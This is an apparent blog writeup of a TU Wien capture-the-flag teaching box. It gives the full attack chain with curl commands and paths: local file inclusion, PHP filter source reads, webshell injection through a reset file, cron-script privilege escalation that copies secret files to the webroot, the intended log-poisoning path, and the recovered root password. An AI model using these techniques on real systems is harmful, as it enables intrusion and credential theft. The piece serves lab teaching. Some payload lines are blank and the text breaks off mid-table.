--- title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job" date: 2026-06-05T12:00:00Z draft: false tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"] categories: ["CTF", "Security"] toc: true summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of." --- > **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends. This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain. Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper: 1. Collect every `passwd_part` file sitting in user home directories. 2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`). Simple. Boring. Except Klaus was clearly in charge of this VM. --- ## 0) The lay of the land **Target:** `g00.tuw.measurement.network` From the outside you mostly see three faces of the same machine: | Host | What it is | |------|------------| | `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** | | `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter | | `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet | Users on the box (from `/etc/passwd` via LFI): `user1`–`user4`, `monitoring`, `www-data`, `root`. SSH from outside? Public key only. Password auth is a lie (for us, anyway). --- ## 1) Recon — documentation.md saves the day First stop: the main site. ```bash curl -s https://g00.tuw.measurement.network/documentation.md ``` That file is basically a treasure map. It mentions two services: - **web** → `web.g00.tuw.measurement.network` - **pwreset** → `pwreset.g00.tuw.measurement.network` I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`. Subdomains resolve. Good. Let's go web. --- ## 2) LFI — `include($_GET['page'])` classic The web vhost is a frameset. Content loads in a frame via `?page=`: ```bash curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd' ``` And there it is — root, users, the whole `/etc/passwd` parade inside the frame. Source via PHP filter works too: ```bash curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \ | sed -n 's/.*frame name="in">//p' | base64 -d ``` `index.php` is roughly: ```php ``` Klaus, my man. We love you. **First instinct:** read all the `passwd_part` files immediately. ```bash # spoiler: doesn't work curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part' # → permission denied ``` Same for `user2`–`user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair. --- ## 3) pwreset — localhost-only, but LFI doesn't care about nginx Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual: ```nginx allow 127.0.0.1; deny all; ``` So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request. pwreset source (paraphrased): ```php $user = $_GET['user'] ?? ''; $pass = $_GET['pass'] ?? ''; file_put_contents('/var/www/userchange', "$user:$pass\n"); echo "Password reset queued."; ``` It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell). **Trigger it through LFI:** ```text https://web.g00.tuw.measurement.network/ ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php &user=user1 &pass=MyTestPass1! ``` I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it. --- ## 4) RCE — PHP in `userchange`, included like a boss At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP? So I wrote a tiny shell into the `user` field via pwreset: ```php ``` Then included `/var/www/userchange` through the LFI: ```text ?page=/var/www/userchange ``` **Output:** `uid=33(www-data) gid=33(www-data) ...` Short tags (``) for the win. A longer `` payload also works, but the backtick version is minimal and cute. From here on, my mental model was: 1. **pwreset** → write arbitrary-ish content to `/var/www/userchange` 2. **LFI include `userchange`** → execute PHP as `www-data` That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open. --- ## 5) Rabbit holes (aka "everything I tried before it worked") This box is a *presentation* CTF. It wants you to wander. I wandered. Hard. ### nginx log poisoning The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up. Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late. ### `data://`, `php://input`, `expect://` ```bash ?page=data://text/plain, ?page=php://input # with POST body ?page=expect://id ``` Nope. `allow_url_include = Off`. Klaus isn't *that* careless. ### vim `.swp` files `.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`. Empty memes page. No execution. Nice red herring — very on-theme for the talk. ### Munin / `apt_all` plugin The presentation mentions monitoring (Nagios/Munin vibes). I went hunting: - `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist** - Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …) - Waited for cron cycles hoping a custom plugin would curl localhost pwreset **Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere. ### pwreset log archaeology Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore: - Saw historical resets like `user3` → `foobar23` - Tried `foobar23` over SSH for every user **From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that. ### Shell script injection into `userchange` I tried newline injection to turn `userchange` into a bash script: ```text user= #!/bin/sh cp /home/user1/passwd_part /var/www/.../p1 ... ``` Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path. ### Brute-forcing the `userchange` consumer I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`. Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.) ### Direct SSH password guessing Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH. From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside. --- ## 6) Privesc — world-writable cron script (peak Klaus) With RCE as `www-data`, I looked for writable files: ```bash find / -writable -type f 2>/dev/null | head ``` Jackpot: ```text -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh ``` Original script (innocent): ```bash #!/bin/bash grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config ``` It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss. I appended: ```bash cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1 cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2 cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3 cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4 cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p* ``` Then either waited for cron or executed the script manually via RCE: ```php ``` **Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud. --- ## 7) SSH as `www-data` — because keys in the webroot are a mood The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did. ```bash # via RCE: cat the key, save locally, chmod 600 ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \ www-data@g00.tuw.measurement.network ``` Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files. --- ## 8) The password parts | Source | File | Part | |--------|------|------| | user1 | `p1` | `DcC6Da0A27384fA` | | user2 | `p2` | `9Ce05B3cAd57824` | | user3 | `p3` | `3aD80fa1b7AE986` | | user4 | `p4` | `CDefabffab1FCCf` | | www-data | `passwd_part` | `44D885d6DAb8Bb9` | | root | `rootpass` | `ghadnuthduxeec7` | **Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient. **Combined root password (95 characters):** ```text DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7 ``` Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`. I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines. Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method. --- ## 9) Attack chain (one screen) ```text documentation.md → web vhost LFI (include $_GET['page']) → include pwreset index.php (localhost bypass) → write PHP to /var/www/userchange → LFI include userchange → RCE as www-data → append to world-writable cron_update_hostname_file.sh → cron runs as root → copies passwd parts to webroot → read parts / SSH as www-data → profit ``` Very "real world" in the worst way. Multiple small mistakes compounding into a full chain. --- ## 10) Replay script I left a minimal Python replay in the challenge repo: ```bash python3 solve.py ``` Core logic: ```python def pwreset(user, passwd=""): # LFI-include pwreset index.php with user/pass params def rce(cmd): pwreset(f"", "") return lfi_include("/var/www/userchange") ``` It prints `id`, the modified cron script, each part file, and the combined password. --- ## 11) Bonus: the intended log poisoning path After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂 So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass. ### The hint is in `index.php`, not `documentation.md` `documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI): ```html ``` Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log. ### Intended technique 1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log: ```text /var/log/nginx/web.g00.tuw.measurement.network.access.log ``` 2. Put PHP in the `User-Agent` (or another logged field): ```text ``` Short tags like `` `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun. 3. **Include that log** through the same LFI bug: ```text https://web.g00.tuw.measurement.network/ ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log &cmd=id ``` On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required. ### How I griefed myself | What I did | Why it hurt | |------------|-------------| | Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log` — **670 KB+** and growing | | Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail | | Fired dozens of test payloads | Left broken `}}